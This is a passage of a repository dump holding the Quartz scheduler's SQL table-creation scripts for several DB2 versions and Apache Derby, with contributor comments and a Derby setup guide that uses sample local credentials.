QRTZ_FIRED_TRIGGERS(SCHED_NAME,INSTANCE_NAME,REQUESTS_RECOVERY);\nCREATE INDEX IDX_QRTZ_FT_J_G ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,JOB_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_FT_JG ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_FT_T_G ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP);\nCREATE INDEX IDX_QRTZ_FT_TG ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,TRIGGER_GROUP);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_db2.sql",
    "content": "#\n# Thanks to Horia Muntean for submitting this....\n#\n# .. known to work with DB2 7.1 and the JDBC driver \"COM.ibm.db2.jdbc.net.DB2Driver\"\n# .. likely to work with others...\n#\n# In your Quartz properties file, you'll need to set \n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\n#\n# If you're using DB2 6.x you'll want to set this property to\n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.DB2v6Delegate\n#\n# Note that the blob column size (e.g. blob(2000)) dictates the amount of data that can be stored in \n# that blob - i.e. limits the amount of data you can put into your JobDataMap \n#\n\n\ncreate table qrtz_job_details (\n  sched_name varchar(120) not null,\n  job_name varchar(80) not null,\n  job_group varchar(80) not null,\n  description varchar(120) null,\n  job_class_name varchar(128) not null,\n  is_durable varchar(1) not null,\n  is_nonconcurrent varchar(1) not null,\n  is_update_data varchar(1) not null,\n  requests_recovery varchar(1) not null,\n  job_data blob(2000),\n    primary key (sched_name,job_name,job_group)\n)\n\ncreate table qrtz_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  job_name varchar(80) not null,\n  job_group varchar(80) not null,\n  description varchar(120) null,\n  next_fire_time bigint,\n  prev_fire_time bigint,\n  priority integer,\n  trigger_state varchar(16) not null,\n  trigger_type varchar(8) not null,\n  start_time bigint not null,\n  end_time bigint,\n  calendar_name varchar(80),\n  misfire_instr smallint,\n  job_data blob(2000),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n)\n\ncreate table qrtz_simple_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  repeat_count bigint not null,\n  repeat_interval bigint not null,\n  times_triggered bigint not null,\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n)\n\ncreate table qrtz_cron_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  cron_expression varchar(120) not null,\n  time_zone_id varchar(80),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n)\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    PRIMARY KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(sched_name,TRIGGER_NAME,TRIGGER_GROUP)\n)\n\ncreate table qrtz_blob_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  blob_data blob(2000) null,\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n)\n\ncreate table qrtz_calendars(\n  sched_name varchar(120) not null,\n  calendar_name varchar(80) not null,\n  calendar blob(2000) not null,\n    primary key (sched_name,calendar_name)\n)\n\ncreate table qrtz_fired_triggers(\n  sched_name varchar(120) not null,\n  entry_id varchar(95) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  instance_name varchar(80) not null,\n  fired_time bigint not null,\n  sched_time bigint not null,\n  priority integer not null,\n  state varchar(16) not null,\n  job_name varchar(80) null,\n  job_group varchar(80) null,\n  is_nonconcurrent varchar(1) null,\n  requests_recovery varchar(1) null,\n    primary key (sched_name,entry_id)\n);\n\n\ncreate table qrtz_paused_trigger_grps(\n  sched_name varchar(120) not null,\n  trigger_group  varchar(80) not null, \n    primary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_scheduler_state (\n  sched_name varchar(120) not null,\n  instance_name varchar(80) not null,\n  last_checkin_time bigint not null,\n  checkin_interval bigint not null,\n    primary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks\n  (\n  sched_name varchar(120) not null,\n    lock_name  varchar(40) not null, \n      primary key (sched_name,lock_name)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_db2_v72.sql",
    "content": "--\n-- Thanks to Horia Muntean for submitting this, Mikkel Heisterberg for updating it \n--\n-- .. known to work with DB2 7.2 and the JDBC driver \"COM.ibm.db2.jdbc.net.DB2Driver\"\n-- .. likely to work with others...\n--\n-- In your Quartz properties file, you'll need to set \n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.DB2v7Delegate\n--\n-- or\n--\n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\n--\n-- If you're using DB2 6.x you'll want to set this property to\n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.DB2v6Delegate\n--\n-- Note that the blob column size (e.g. blob(2000)) dictates the amount of data that can be stored in \n-- that blob - i.e. limits the amount of data you can put into your JobDataMap \n--\n\nDROP TABLE QRTZ_FIRED_TRIGGERS;\nDROP TABLE QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE QRTZ_SCHEDULER_STATE;\nDROP TABLE QRTZ_LOCKS;\nDROP TABLE QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE QRTZ_CRON_TRIGGERS;\nDROP TABLE QRTZ_TRIGGERS;\nDROP TABLE QRTZ_JOB_DETAILS;\nDROP TABLE QRTZ_CALENDARS;\nDROP TABLE QRTZ_BLOB_TRIGGERS;\n\ncreate table qrtz_job_details (\n  sched_name varchar(120) not null,\n  job_name varchar(80) not null,\n  job_group varchar(80) not null,\n  description varchar(120),\n  job_class_name varchar(128) not null,\n  is_durable varchar(1) not null,\n  is_nonconcurrent varchar(1) not null,\n  is_update_data varchar(1) not null,\n  requests_recovery varchar(1) not null,\n  job_data blob(2000),\n    primary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  job_name varchar(80) not null,\n  job_group varchar(80) not null,\n  description varchar(120),\n  next_fire_time bigint,\n  prev_fire_time bigint,\n  priority integer,\n  trigger_state varchar(16) not null,\n  trigger_type varchar(8) not null,\n  start_time bigint not null,\n  end_time bigint,\n  calendar_name varchar(80),\n  misfire_instr smallint,\n  job_data blob(2000),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  repeat_count bigint not null,\n  repeat_interval bigint not null,\n  times_triggered bigint not null,\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_cron_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  cron_expression varchar(120) not null,\n  time_zone_id varchar(80),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    PRIMARY KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(sched_name,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\ncreate table qrtz_blob_triggers(\n  sched_name varchar(120) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  blob_data blob(2000),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars(\n  sched_name varchar(120) not null,\n  calendar_name varchar(80) not null,\n  calendar blob(2000) not null,\n    primary key (sched_name,calendar_name)\n);\n\ncreate table qrtz_fired_triggers(\n  sched_name varchar(120) not null,\n  entry_id varchar(95) not null,\n  trigger_name varchar(80) not null,\n  trigger_group varchar(80) not null,\n  instance_name varchar(80) not null,\n  fired_time bigint not null,\n  sched_time bigint not null,\n  priority integer not null,\n  state varchar(16) not null,\n  job_name varchar(80),\n  job_group varchar(80),\n  is_nonconcurrent varchar(1),\n  requests_recovery varchar(1),\n    primary key (sched_name,entry_id)\n);\n\n\ncreate table qrtz_paused_trigger_grps(\n  sched_name varchar(120) not null,\n  trigger_group  varchar(80) not null, \n    primary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_scheduler_state (\n  sched_name varchar(120) not null,\n  instance_name varchar(80) not null,\n  last_checkin_time bigint not null,\n  checkin_interval bigint not null,\n    primary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks\n  (\n    sched_name varchar(120) not null,\n    lock_name  varchar(40) not null, \n      primary key (sched_name,lock_name)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_db2_v8.sql",
    "content": "#\n# Updated by Claudiu Crisan (claudiu.crisan@schartner.net)\n# SQL scripts for DB2 ver 8.1\n#\n# Changes:\n# - \"varchar(1)\" replaced with \"integer\"\n# - \"field_name varchar(xxx) not null\" replaced with \"field_name varchar(xxx)\"\n#\n\n\nDROP TABLE QRTZ_FIRED_TRIGGERS;\nDROP TABLE QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE QRTZ_SCHEDULER_STATE;\nDROP TABLE QRTZ_LOCKS;\nDROP TABLE QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE QRTZ_CRON_TRIGGERS;\nDROP TABLE QRTZ_TRIGGERS;\nDROP TABLE QRTZ_JOB_DETAILS;\nDROP TABLE QRTZ_CALENDARS;\nDROP TABLE QRTZ_BLOB_TRIGGERS;\n\ncreate table qrtz_job_details(\nsched_name varchar(120) not null,\njob_name varchar(80) not null,\njob_group varchar(80) not null,\ndescription varchar(120),\njob_class_name varchar(128) not null,\nis_durable integer not null,\nis_nonconcurrent integer not null,\nis_update_data integer not null,\nrequests_recovery integer not null,\njob_data blob(2000),\nprimary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\njob_name varchar(80) not null,\njob_group varchar(80) not null,\ndescription varchar(120),\nnext_fire_time bigint,\nprev_fire_time bigint,\npriority integer,\ntrigger_state varchar(16) not null,\ntrigger_type varchar(8) not null,\nstart_time bigint not null,\nend_time bigint,\ncalendar_name varchar(80),\nmisfire_instr smallint,\njob_data blob(2000),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\nrepeat_count bigint not null,\nrepeat_interval bigint not null,\ntimes_triggered bigint not null,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_cron_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\ncron_expression varchar(120) not null,\ntime_zone_id varchar(80),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    PRIMARY KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(sched_name,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\ncreate table qrtz_blob_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\nblob_data blob(2000),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars(\nsched_name varchar(120) not null,\ncalendar_name varchar(80) not null,\ncalendar blob(2000) not null,\nprimary key (calendar_name)\n);\n\ncreate table qrtz_fired_triggers(\nsched_name varchar(120) not null,\nentry_id varchar(95) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\ninstance_name varchar(80) not null,\nfired_time bigint not null,\nsched_time bigint not null,\npriority integer not null,\nstate varchar(16) not null,\njob_name varchar(80),\njob_group varchar(80),\nis_nonconcurrent integer,\nrequests_recovery integer,\nprimary key (sched_name,entry_id)\n);\n\ncreate table qrtz_paused_trigger_grps(\nsched_name varchar(120) not null,\ntrigger_group varchar(80) not null,\nprimary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_scheduler_state(\nsched_name varchar(120) not null,\ninstance_name varchar(80) not null,\nlast_checkin_time bigint not null,\ncheckin_interval bigint not null,\nprimary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks(\nsched_name varchar(120) not null,\nlock_name varchar(40) not null,\nprimary key (sched_name,lock_name)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_db2_v95.sql",
    "content": "DROP TABLE QRTZ_FIRED_TRIGGERS;\nDROP TABLE QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE QRTZ_SCHEDULER_STATE;\nDROP TABLE QRTZ_LOCKS;\nDROP TABLE QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE QRTZ_CRON_TRIGGERS;\nDROP TABLE QRTZ_TRIGGERS;\nDROP TABLE QRTZ_JOB_DETAILS;\nDROP TABLE QRTZ_CALENDARS;\nDROP TABLE QRTZ_BLOB_TRIGGERS;\n\ncreate table qrtz_job_details(\nsched_name varchar(120) not null,\njob_name varchar(80) not null,\njob_group varchar(80) not null,\ndescription varchar(120),\njob_class_name varchar(128) not null,\nis_durable integer not null,\nis_nonconcurrent integer not null,\nis_update_data integer not null,\nrequests_recovery integer not null,\njob_data blob(2000),\nprimary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\njob_name varchar(80) not null,\njob_group varchar(80) not null,\ndescription varchar(120),\nnext_fire_time bigint,\nprev_fire_time bigint,\npriority integer,\ntrigger_state varchar(16) not null,\ntrigger_type varchar(8) not null,\nstart_time bigint not null,\nend_time bigint,\ncalendar_name varchar(80),\nmisfire_instr smallint,\njob_data blob(2000),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\nrepeat_count bigint not null,\nrepeat_interval bigint not null,\ntimes_triggered bigint not null,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_cron_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\ncron_expression varchar(120) not null,\ntime_zone_id varchar(80),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512),\n    STR_PROP_2 VARCHAR(512),\n    STR_PROP_3 VARCHAR(512),\n    INT_PROP_1 INT,\n    INT_PROP_2 INT,\n    LONG_PROP_1 BIGINT,\n    LONG_PROP_2 BIGINT,\n    DEC_PROP_1 NUMERIC(13,4),\n    DEC_PROP_2 NUMERIC(13,4),\n    BOOL_PROP_1 VARCHAR(1),\n    BOOL_PROP_2 VARCHAR(1),\n    PRIMARY KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(sched_name,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\ncreate table qrtz_blob_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\nblob_data blob(2000),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars(\nsched_name varchar(120) not null,\ncalendar_name varchar(80) not null,\ncalendar blob(2000) not null,\nprimary key (calendar_name)\n);\n\ncreate table qrtz_fired_triggers(\nsched_name varchar(120) not null,\nentry_id varchar(95) not null,\ntrigger_name varchar(80) not null,\ntrigger_group varchar(80) not null,\ninstance_name varchar(80) not null,\nfired_time bigint not null,\nsched_time bigint not null,\npriority integer not null,\nstate varchar(16) not null,\njob_name varchar(80),\njob_group varchar(80),\nis_nonconcurrent integer,\nrequests_recovery integer,\nprimary key (sched_name,entry_id)\n);\n\ncreate table qrtz_paused_trigger_grps(\nsched_name varchar(120) not null,\ntrigger_group varchar(80) not null,\nprimary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_scheduler_state(\nsched_name varchar(120) not null,\ninstance_name varchar(80) not null,\nlast_checkin_time bigint not null,\ncheckin_interval bigint not null,\nprimary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks(\nsched_name varchar(120) not null,\nlock_name varchar(40) not null,\nprimary key (sched_name,lock_name)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_derby.sql",
    "content": "-- \n-- Apache Derby scripts by Steve Stewart, updated by Ronald Pomeroy\n-- Based on Srinivas Venkatarangaiah's file for Cloudscape\n-- \n-- Known to work with Apache Derby 10.0.2.1, or 10.6.2.1\n--\n-- Updated by Zemian Deng <saltnlight5@gmail.com> on 08/21/2011\n--   * Fixed nullable fields on qrtz_simprop_triggers table. \n--   * Added Derby QuickStart comments and drop tables statements.\n--\n-- DerbyDB + Quartz Quick Guide:\n-- * Derby comes with Oracle JDK! For Java6, it default install into C:/Program Files/Sun/JavaDB on Windows.\n-- 1. Create a derby.properties file under JavaDB directory, and have the following:\n--    derby.connection.requireAuthentication = true\n--    derby.authentication.provider = BUILTIN\n--    derby.user.quartz2=quartz2123\n-- 2. Start the DB server by running bin/startNetworkServer script.\n-- 3. On a new terminal, run bin/ij tool to bring up an SQL prompt, then run:\n--    connect 'jdbc:derby://localhost:1527/quartz2;user=quartz2;password=quartz2123;create=true';\n--    run 'quartz/docs/dbTables/tables_derby.sql';\n-- Now in quartz.properties, you may use these properties:\n--    org.quartz.dataSource.quartzDataSource.driver = org.apache.derby.jdbc.ClientDriver\n--    org.quartz.dataSource.quartzDataSource.URL = jdbc:derby://localhost:1527/quartz2\n--    org.quartz.dataSource.quartzDataSource.user = quartz2\n--    org.quartz.dataSource.quartzDataSource.password = quartz2123\n--\n\n-- Auto drop and reset tables \n-- Derby doesn't support if exists condition on table drop, so user must manually do this step if needed to.\n-- drop table qrtz_fired_triggers;\n-- drop table qrtz_paused_trigger_grps;\n-- drop table qrtz_scheduler_state;\n-- drop table qrtz_locks;\n-- drop table qrtz_simple_triggers;\n-- drop table qrtz_simprop_triggers;\n-- drop table qrtz_cron_triggers;\n-- drop table qrtz_blob_triggers;\n-- drop table qrtz_triggers;\n-- drop table qrtz_job_details;\n-- drop table qrtz_calendars;\n\ncreate table qrtz_job_details (\nsched_name varchar(120) not null,\njob_name varchar(200) not null,\njob_group varchar(200) not null,\ndescription varchar(250) ,\njob_class_name varchar(250) not null,\nis_durable varchar(5) not null,\nis_nonconcurrent varchar(5) not null,\nis_update_data varchar(5) not null,\nrequests_recovery varchar(5) not null,\njob_data blob,\nprimary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\njob_name varchar(200) not null,\njob_group varchar(200) not null,\ndescription varchar(250),\nnext_fire_time bigint,\nprev_fire_time bigint,\npriority integer,\ntrigger_state varchar(16) not null,\ntrigger_type varchar(8) not null,\nstart_time bigint not null,\nend_time bigint,\ncalendar_name varchar(200),\nmisfire_instr smallint,\njob_data blob,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\nrepeat_count bigint not null,\nrepeat_interval bigint not null,\ntimes_triggered bigint not null,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_cron_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\ncron_expression varchar(120) not null,\ntime_zone_id varchar(80),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    trigger_name varchar(200) not null,\n    trigger_group varchar(200) not null,\n    str_prop_1 varchar(512),\n    str_prop_2 varchar(512),\n    str_prop_3 varchar(512),\n    int_prop_1 int,\n    int_prop_2 int,\n    long_prop_1 bigint,\n    long_prop_2 bigint,\n    dec_prop_1 numeric(13,4),\n    dec_prop_2 numeric(13,4),\n    bool_prop_1 varchar(5),\n    bool_prop_2 varchar(5),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) \n    references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_blob_triggers(\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\nblob_data blob,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars(\nsched_name varchar(120) not null,\ncalendar_name varchar(200) not null,\ncalendar blob not null,\nprimary key (sched_name,calendar_name)\n);\n\ncreate table qrtz_paused_trigger_grps\n  (\n    sched_name varchar(120) not null,\n    trigger_group varchar(200) not null,\nprimary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_fired_triggers(\nsched_name varchar(120) not null,\nentry_id varchar(95) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\ninstance_name varchar(200) not null,\nfired_time bigint not null,\nsched_time bigint not null,\npriority integer not null,\nstate varchar(16) not null,\njob_name varchar(200),\njob_group varchar(200),\nis_nonconcurrent varchar(5),\nrequests_recovery varchar(5),\nprimary key (sched_name,entry_id)\n);\n\ncreate table qrtz_scheduler_state\n  (\n    sched_name varchar(120) not null,\n    instance_name varchar(200) not null,\n    last_checkin_time bigint not null,\n    checkin_interval bigint not null,\nprimary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks\n  (\n    sched_name varchar(120) not null,\n    lock_name varchar(40) not null,\nprimary key (sched_name,lock_name)\n);\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_derby_previous.sql",
    "content": "-- \n-- Apache Derby scripts by Steve Stewart.\n-- Based on Srinivas Venkatarangaiah's file for Cloudscape\n-- \n-- In your Quartz properties file, you'll need to set\n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.CloudscapeDelegate\n-- \n-- Known to work with Apache Derby 10.0.2.1\n-- \n\ncreate table qrtz_job_details (\nsched_name varchar(120) not null,\njob_name varchar(200) not null,\njob_group varchar(200) not null,\ndescription varchar(250) ,\njob_class_name varchar(250) not null,\nis_durable varchar(5) not null,\nis_nonconcurrent varchar(5) not null,\nis_update_data varchar(5) not null,\nrequests_recovery varchar(5) not null,\njob_data blob,\nprimary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers (\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\njob_name varchar(200) not null,\njob_group varchar(200) not null,\ndescription varchar(250) ,\nnext_fire_time bigint,\nprev_fire_time bigint,\npriority integer,\ntrigger_state varchar(16) not null,\ntrigger_type varchar(8) not null,\nstart_time bigint not null,\nend_time bigint,\ncalendar_name varchar(200),\nmisfire_instr smallint,\njob_data blob,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers (\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\nrepeat_count bigint not null,\nrepeat_interval bigint not null,\ntimes_triggered bigint not null,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_cron_triggers (\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\ncron_expression varchar(120) not null,\ntime_zone_id varchar(80),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_simprop_triggers\n(          \n    sched_name varchar(120) not null,\n    trigger_name varchar(200) not null,\n    trigger_group varchar(200) not null,\n    str_prop_1 varchar(512),\n    str_prop_2 varchar(512),\n    str_prop_3 varchar(512),\n    int_prop_1 int,\n    int_prop_2 int,\n    long_prop_1 bigint,\n    long_prop_2 bigint,\n    dec_prop_1 numeric(13,4),\n    dec_prop_2 numeric(13,4),\n    bool_prop_1 varchar(5),\n    bool_prop_2 varchar(5),\n    primary key (sched_name,trigger_name,trigger_group),\n    foreign key (sched_name,trigger_name,trigger_group) \n    references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_blob_triggers (\nsched_name varchar(120) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\nblob_data blob ,\nprimary key 